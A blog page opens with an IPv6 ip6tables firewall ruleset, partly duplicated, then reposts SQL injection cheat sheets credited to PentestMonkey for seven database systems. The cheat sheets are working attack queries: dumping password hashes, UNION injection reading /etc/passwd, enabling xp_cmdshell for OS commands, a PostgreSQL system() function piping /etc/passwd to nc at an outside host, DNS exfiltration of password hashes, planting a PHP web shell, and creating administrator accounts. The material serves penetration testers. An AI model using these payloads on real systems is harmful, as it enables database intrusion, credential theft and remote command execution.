-A FORWARD -i sixxs -p tcp -d <prefix>::1 --dport 22 -j ACCEPT
# Webserver in
-A FORWARD -i sixxs -p tcp -d <prefix>::80:ca7 --dport 80 -j ACCEPT
# Set the default policy
-P INPUT   DROP
-P FORWARD DROP
-P OUTPUT  DROP
COMMIT

:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT DROP [0:0]
:in-new - [0:0]

# First, delete all:

-F
-X

# Allow anything on the local link

-A INPUT  -i lo -j ACCEPT
-A OUTPUT -o lo -j ACCEPT

# Allow anything out on the internet

-A OUTPUT -o sixxs -j ACCEPT

# Allow the localnet access us:

-A INPUT    -i eth0   -j ACCEPT
-A OUTPUT   -o eth0   -j ACCEPT

# Filter all packets that have RH0 headers:

-A INPUT -m rt --rt-type 0 -j DROP
-A FORWARD -m rt --rt-type 0 -j DROP
-A OUTPUT -m rt --rt-type 0 -j DROP

# Allow Link-Local addresses

-A INPUT -s fe80::/10 -j ACCEPT
-A OUTPUT -s fe80::/10 -j ACCEPT

# Allow multicast

-A INPUT -s ff00::/8 -j ACCEPT
-A OUTPUT -s ff00::/8 -j ACCEPT

# Allow ICMPv6 everywhere

-I INPUT  -p icmpv6 -j ACCEPT
-I OUTPUT -p icmpv6 -j ACCEPT
-I FORWARD -p icmpv6 -j ACCEPT

# Allow forwarding

-A FORWARD -m state --state NEW -i eth0 -o sixxs -s <prefix>::/48 -j ACCEPT
-A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT

# SSH in

-A FORWARD -i sixxs -p tcp -d <prefix>::1 --dport 22 -j ACCEPT

# Webserver in

-A FORWARD -i sixxs -p tcp -d <prefix>::80:ca7 --dport 80 -j ACCEPT

# Set the default policy

-P INPUT   DROP
-P FORWARD DROP
-P OUTPUT  DROP

COMMIT

 

SQL Cheat sheets

July 7th, 2010

Thanks to PentestMonkey.net for this.

MySQL:

Version
SELECT @@version
Comments SELECT 1; #comment
SELECT /*comment*/1;
Current User
SELECT user();
SELECT system_user();
List Users SELECT user FROM mysql.user; -- priv
List Password Hashes
SELECT host, user, password FROM mysql.user; -- priv
Password Cracker
John the Ripper will crack MySQL password hashes.
List Privileges

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs

SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs

SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; -- list privs on databases (schemas)

SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; -- list privs on columns

List DBA Accounts

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';

SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv

Current Database SELECT database()
List Databases SELECT schema_name FROM information_schema.schemata; -- for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db -- priv
List Columns
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; -- find table which have a column called 'username'
Select Nth Row

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

Select Nth Char
SELECT substr('abcd', 3, 1); # returns c
Bitwise AND 
SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0

ASCII Value -> Char

SELECT char(65); # returns A
Char -> ASCII Value SELECT ascii('A'); # returns 65
Casting SELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);
String Concatenation SELECT CONCAT('A','B'); #returns AB
SELECT CONCAT('A','B','C'); # returns ABC

If Statement

SELECT if(1=1,'foo','bar'); -- returns 'foo'
Case Statement SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A
Avoiding Quotes
SELECT 0x414243; # returns ABC
Time Delay 
SELECT BENCHMARK(1000000,MD5('A'));
SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests Impossible?
Command Execution

If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.

Local File Access
...' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- priv, write to file system
Hostname, IP Address Impossible?
Create Users
CREATE USER test1 IDENTIFIED BY 'pass1'; -- priv
Delete Users
DROP USER test1; -- priv
Make User DBA
GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv
Location of DB files
SELECT @@datadir;
Default/System Databases
information_schema (>= mysql 5.0)
mysql


MSSQL:

Version
SELECT @@version
Comments SELECT 1 -- comment
SELECT /*comment*/1
Current User
SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List Users SELECT name FROM master..syslogins
List Password Hashes
SELECT name, password FROM master..sysxlogins -- priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
SELECT name, password_hash FROM master.sys.sql_logins -- priv, mssql 2005;
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins -- priv, mssql 2005
Password Cracker MSSQL 2000 and 2005 Hashes are both SHA1-based.  phrasen|drescher can crack these.
List Privileges Impossible?
List DBA Accounts TODO
SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try 'bulkadmin', 'systemadmin' and other values from the documentation
SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
Current Database SELECT DB_NAME()
List Databases SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); -- for N = 0, 1, 2, ...
List Columns
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable
List Tables SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable
Find Tables From Column Name -- NB: This example works only for the current database.  If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' -- this lists table, column for each column containing the word 'password'
Select Nth Row SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row
Select Nth Char
SELECT substring('abcd', 3, 1) -- returns c
Bitwise AND 
SELECT 6 & 2 -- returns 2
SELECT 6 & 1 -- returns 0

ASCII Value -> Char

SELECT char(0x41) -- returns A
Char -> ASCII Value SELECT ascii('A') - returns 65
Casting SELECT CAST('1' as int);
SELECT CAST(1 as char)
String Concatenation SELECT 'A' + 'B' - returns AB

If Statement

IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1

Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1
Avoiding Quotes
SELECT char(65)+char(66) -- returns AB
Time Delay 
WAITFOR DELAY '0:0:5' -- pause for 5 seconds
Make DNS Requests

declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000

declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini'''); -- priv, works on 2005

-- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host.  Messy but necessary.
-- Also check out theDNS tunnel feature of sqlninja

Command Execution

EXEC xp_cmdshell 'net user'; -- priv

On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:
EXEC sp_configure 'show advanced options', 1; -- priv
RECONFIGURE; -- priv
EXEC sp_configure 'xp_cmdshell', 1; -- priv
RECONFIGURE; -- priv

Local File Access
CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM 'c:\boot.ini';
DROP TABLE mydata;
Hostname, IP Address SELECT HOST_NAME()
Create Users EXEC sp_addlogin 'user', 'pass'; -- priv
Drop Users EXEC sp_droplogin 'user'; -- priv
Make User DBA EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv
Location of DB files
TODO
Default/System Databases
northwind
model
msdb
pubs
tempdb


PostgreSQL:

Version
SELECT version()
Comments SELECT 1; --comment
SELECT /*comment*/1;
Current User
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
List Users SELECT usename FROM pg_user
List Password Hashes
SELECT usename, passwd FROM pg_shadow -- priv
Password Cracker
MDCrack can crack PostgreSQL's MD5-based passwords.
List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA Accounts SELECT usename FROM pg_user WHERE usesuper IS TRUE
Current Database SELECT current_database()
List Databases SELECT datname FROM pg_database
List Columns
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')
List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name

If you want to list all the table names that contain a column LIKE '%password%':

SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';

Select Nth Row SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; -- rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char
SELECT substr('abcd', 3, 1); -- returns c
Bitwise AND 
SELECT 6 & 2; -- returns 2
SELECT 6 & 1; --returns 0

ASCII Value -> Char

SELECT chr(65);
Char -> ASCII Value SELECT ascii('A');
Casting SELECT CAST(1 as varchar);
SELECT CAST('1' as int);
String Concatenation SELECT 'A' || 'B'; -- returnsAB

If Statement

IF statements only seem valid inside functions, so aren't much use for SQL injection.  See CASE statement instead.
Case Statement SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- returns A
Avoiding Quotes
SELECT CHR(65)||CHR(66); -- returns AB
Time Delay 
SELECT pg_sleep(10); -- postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(10); --priv, create your own sleep function.  Taken from here .
Make DNS Requests

Generally not possible in postgres.  However if contrib/dblink is installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights):

SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);

Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. "ping pentestmonkey.net".

Command Execution

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; -- priv

SELECT system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv, commands run as postgres/pgsql OS-level user

Local File Access

CREATE TABLE mydata(t text);
COPY mydata FROM '/etc/passwd'; -- priv, can read files which are readable by postgres OS-level user
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time ...
DROP TABLE mytest mytest;

Write to a file:

CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');
COPY mytable (mycol) TO '/tmp/test.php'; --priv, write files as postgres OS-level user.  Generally you won't be able to write to the web root, but it's always work a try.
-- priv user can also read/write files by mapping libc functions

Hostname, IP Address SELECT inet_server_addr(); -- returns db server IP address (or null if using local connection)
SELECT inet_server_port(); -- returns db server IP address (or null if using local connection)
Create Users
CREATE USER test1 PASSWORD 'pass1'; -- priv
CREATE USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at the same time
Drop Users
DROP USER test1; -- priv
Make User DBA
ALTER USER test1 CREATEUSER CREATEDB; -- priv
Location of DB files
SELECT current_setting('data_directory'); -- priv
SELECT current_setting('hba_file'); -- priv
Default/System Databases
template0
template1


Oracle:

Version
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
Comments SELECT 1 FROM dual -- comment
-- NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.
Current User
SELECT user FROM dual
List Users SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv
List Password Hashes
SELECT name, password, astatus FROM sys.user$ -- priv, <= 10g.  astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ -- priv, 11g
Password Cracker
checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
List Privileges SELECT * FROM session_privs; -- current privs
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's privs
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; -- priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
List DBA Accounts SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; -- priv, list DBAs, DBA roles
Current Database SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
List Databases

SELECT DISTINCT owner FROM all_tables; -- list schemas (one per user)
-- Also query TNS listener for other databases.  See tnscmd (services | status).

List Columns
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
List Tables SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
Find Tables From Column Name SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; -- NB: table names are upper case
Select Nth Row SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; -- gets 9th row (rows numbered from 1)
Select Nth Char
SELECT substr('abcd', 3, 1) FROM dual; -- gets 3rd character, 'c'
Bitwise AND 
SELECT bitand(6,2) FROM dual; -- returns 2
SELECT bitand(6,1) FROM dual; -- returns0

ASCII Value -> Char

SELECT chr(65) FROM dual; -- returns A
Char -> ASCII Value SELECT ascii('A') FROM dual; -- returns 65
Casting SELECT CAST(1 AS char) FROM dual;
SELECT CAST('1' AS int) FROM dual;
String Concatenation SELECT 'A' || 'B' FROM dual; -- returns AB
If Statement BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; -- doesn't play well with SELECT statements
Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- returns 2
Avoiding Quotes
SELECT chr(65) || chr(66) FROM dual; -- returns AB
Time Delay 
BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- if reverse looks are slow
SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if forward lookups are slow
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; -- if outbound TCP is filtered / slow
-- Also see Heavy Queries to create a time delay
Make DNS Requests SELECT UTL_INADDR.get_host_address('google.com') FROM dual;
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
Command Execution

Java can be used to execute commands if it's installed.

ExtProc can sometimes be used too, though it normally failed for me. :-(

Local File Access

UTL_FILE can sometimes be used.  Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';

Java can be used to read and write files if it's installed (it is not available in Oracle Express).

Hostname, IP Address SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP address
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- gets hostnames
Location of DB files
SELECT name FROM V$DATAFILE;
Default/System Databases
SYSTEM
SYSAUX


Ingres:

Version
select dbmsinfo('_version');
Comments SELECT 123; -- comment
select 123; /* comment */
Current User
select dbmsinfo('session_user');
select dbmsinfo('system_user');
List Users First connect to iidbdb, then:
select name, password from iiuser;
Create Users
create user testuser with password = 'testuser';-- priv
List Password Hashes
First connect to iidbdb, then:
select name, password from iiuser;
List Privileges select dbmsinfo('db_admin');
select dbmsinfo('create_table');
select dbmsinfo('create_procedure');
select dbmsinfo('security_priv');
select dbmsinfo('select_syscat');
select dbmsinfo('db_privileges');
select dbmsinfo('current_priv_mask');
Current Database select dbmsinfo('database');
List Columns
select column_name, column_datatype, table_name, table_owner from iicolumns;
List Tables select table_name, table_owner from iitables;
select relid, relowner, relloc from iirelation;
select relid, relowner, relloc from iirelation where relowner != '$ingres';
Select Nth Row

Astoundingly, this doesn't seem to be possible!  This is as close as you can get:

select top 10 blah from table;
select first 10 blah form table;

Select Nth Char
select substr('abc', 2, 1); -- returns 'b'
Bitwise AND 

The function "bit_and" exists, but seems hard to use.  Here's an
example of ANDing 3 and 5 together.  The result is a "byte" type
with value \001:

select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1);

Casting select cast(123 as varchar);
select cast('123' as integer);
String Concatenation select 'abc' || 'def';
Time Delay 

???

See Heavy Queries article for some ideas.

Installing Locally
The Ingres database can be downloaded for free from http://esd.ingres.com/
A pre-built Linux-based Ingres Database Server can be download from http://www.vmware.com/appliances/directory/832
Database Client
TODO
There is a client called "sql" which can be used for local connections (at least) in the  database server package above.
Logging in from command line
$ su -  ingres
$ sql iidbdb
* select dbmsinfo('_version'); \go


The following areas are interesting enough to include on this page, but I haven't researched them for other databases:

Description SQL / Comments
Batching Queries Allowed?

Not via DBI in PERL.  Subsequent statements seem to get ignored:
select blah from table where foo = 1; select ... doesn't matter this is ignored.

FROM clause mandated in SELECTs?

No.  You don't need to select form "dual" or anything.  The following is legal:
select 1;

UNION supported

Yes.  Nothing tricky here.  The following is legal:
select 1 union select 2;

Enumerate Tables Privs
select table_name, permit_user, permit_type from iiaccess;
Length of a string select length('abc'); -- returns 3
Roles and passwords

First you need to connect to iidbdb, then:
select roleid, rolepass from iirole;

List Database Procedures

First you need to connect to iidbdb, then:
select dbp_name,  dbp_owner from iiprocedure;

Create Users + Granting Privs

First you need to connect to iidbdb, then:
create user pm with password = 'password';
grant all on current installation to pm;


DB2:

Version
select versionnumber, version_timestamp from sysibm.sysversions;
Comments select blah from foo; -- comment like this
Current User
select user from sysibm.sysdummy1;
select session_user from sysibm.sysdummy1;
select system_user from sysibm.sysdummy1;
List Users

N/A (I think DB2 uses OS-level user accounts for authentication.)

Database authorities (like roles, I think) can be listed like this:
select grantee from syscat.dbauth;

List Password Hashes
N/A (I think DB2 uses OS-level user accounts for authentication.)
List Privileges select * from syscat.tabauth; -- privs on tables
select * from syscat.dbauth where grantee = current user;
select * from syscat.tabauth where grantee = current user;
Current Database select current server from sysibm.sysdummy1;
List Databases SELECT schemaname FROM syscat.schemata;
List Columns
select name, tbname, coltype from sysibm.syscolumns;
List Tables select name from sysibm.systables;
Select Nth Row select name from (SELECT name FROM sysibm.systables order by
name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;
Select Nth Char
SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1;  -- returns b
Bitwise AND 
This page seems to indicate that DB2 has no support for bitwise operators!

ASCII Value -> Char

select chr(65) from sysibm.sysdummy1; -- returns 'A'
Char -> ASCII Value select ascii('A') from sysibm.sysdummy1; -- returns 65
Casting SELECT cast('123' as integer) FROM sysibm.sysdummy1;
SELECT cast(1 as char) FROM sysibm.sysdummy1;
String Concatenation SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; -- returns 'abc'
select 'a' || 'b' from sysibm.sysdummy1; -- returns 'ab'


Informix:

Version
SELECT DBINFO('version', 'full') FROM systables WHERE tabid = 1;
SELECT DBINFO('version', 'server-type') FROM systables WHERE tabid = 1;
SELECT DBINFO('version', 'major'), DBINFO('version', 'minor'), DBINFO('version', 'level') FROM systables WHERE tabid = 1;
SELECT DBINFO('version', 'os') FROM systables WHERE tabid = 1; -- T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app running on 64-bit Unix, F=64-bit app running on 64-bit unix
Comments select 1 FROM systables WHERE tabid = 1; -- comment
Current User

SELECT USER FROM systables WHERE tabid = 1;
select CURRENT_ROLE FROM systables WHERE tabid = 1;

List Users select username, usertype, password from sysusers;
List Privileges select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; -- which tables are accessible by which users
select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid; -- which procedures are accessible by which users
Current Database SELECT DBSERVERNAME FROM systables where tabid = 1; -- server name
List Databases select name, owner from sysdatabases;
List Columns
select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid;
List Tables select tabname, owner FROM systables;
select tabname, viewtext FROM sysviews  join systables on systables.tabid = sysviews.tabid;
List Stored Procedures
select procname, owner FROM sysprocedures;
Find Tables From Column Name select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like '%pass%';
Select Nth Row select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; -- selects the 10th row
Select Nth Char
SELECT SUBSTRING('ABCD' FROM 3 FOR 1) FROM systables where tabid = 1; -- returns 'C'
Bitwise AND 
select bitand(6, 1) from systables where tabid = 1; -- returns 0
select bitand(6, 2) from systables where tabid = 1; -- returns 2
Char -> ASCII Value select ascii('A') from systables where tabid = 1;
Casting select cast('123' as integer) from systables where tabid = 1;
select cast(1 as char) from systables where tabid = 1;
String Concatenation SELECT 'A' || 'B' FROM systables where tabid = 1; -- returns 'AB'
SELECT concat('A', 'B') FROM systables where tabid = 1; -- returns 'AB'
String Length
SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables;
Case Statement select tabid, case when tabid>10 then "High" else 'Low' end from systables;
Hostname, IP Address SELECT DBINFO('dbhostname') FROM systables WHERE tabid = 1; -- hostname
Default/System Databases
These are the system databases:
sysmaster
sysadmin*
sysuser*
sysutils*

* = don't seem to contain anything / don't allow reading
Installing Locally

You can download Informix Dynamic Server Express Edition 11.5 Trial for Linux and Windows.

Database Client
There's a database client SDK available, but I couldn't get the demo client working.
I used SQuirreL SQL Client Version 2.6.8 after installing the Informix JDBC drivers ("emerge dev-java/jdbc-informix" on Gentoo).
Logging in from command line

If you get local admin rights on a Windows box and have a GUI logon:

  • Click: Start | All Programs | IBM Informix Dynamic Server 11.50 | someservername.  This will give you a command prompt with various Environment variables set properly.
  • Run dbaccess.exe from your command prompt.  This will bring up a text-based GUI that allows you to browse databases.

The following were set on my test system.  This may help if you get command line access, but can't get a GUI - you'll need to change "testservername":

set INFORMIXDIR=C:\PROGRA~1\IBM\IBMINF~1\11.50<br />set INFORMIXSERVER=testservername<br />set ONCONFIG=ONCONFIG.testservername<br />set PATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\PROGRA~1\ibm\gsk7\bin;C:\PROGRA~1\ibm\gsk7\lib;C:\Program Files\IBM\Informix\Clien-SDK\bin;C:\Program Files\ibm\gsk7\bin;C:\Program Files\ibm\gsk7\lib<br />set CLASSPATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\extend\krakatoa\krakatoa.jar;C:\PROGRA~1\IBM\IBMINF~1\11.50\xtend\krakatoa\jdbc.jar;<br />set DBTEMP=C:\PROGRA~1\IBM\IBMINF~1\11.50\infxtmp<br />set CLIENT_LOCALE=EN_US.CP1252<br />set DB_LOCALE=EN_US.8859-1<br />set SERVER_LOCALE=EN_US.CP1252<br />set DBLANG=EN_US.CP1252<br />mode con codepage select=1252<br />
Identifying on the network

My default installation listened on two TCP ports: 9088 and 9099.  When I created a new "server name", this listened on 1526/TCP by default.  Nmap 4.76 didn't identify these ports as Informix:

$ sudo nmap -sS -sV 10.0.0.1 -p- -v --version-all
...
1526/tcp open  pdap-np?
9088/tcp open  unknown
9089/tcp open  unknown
...
TODO How would we identify Informix listening on the network?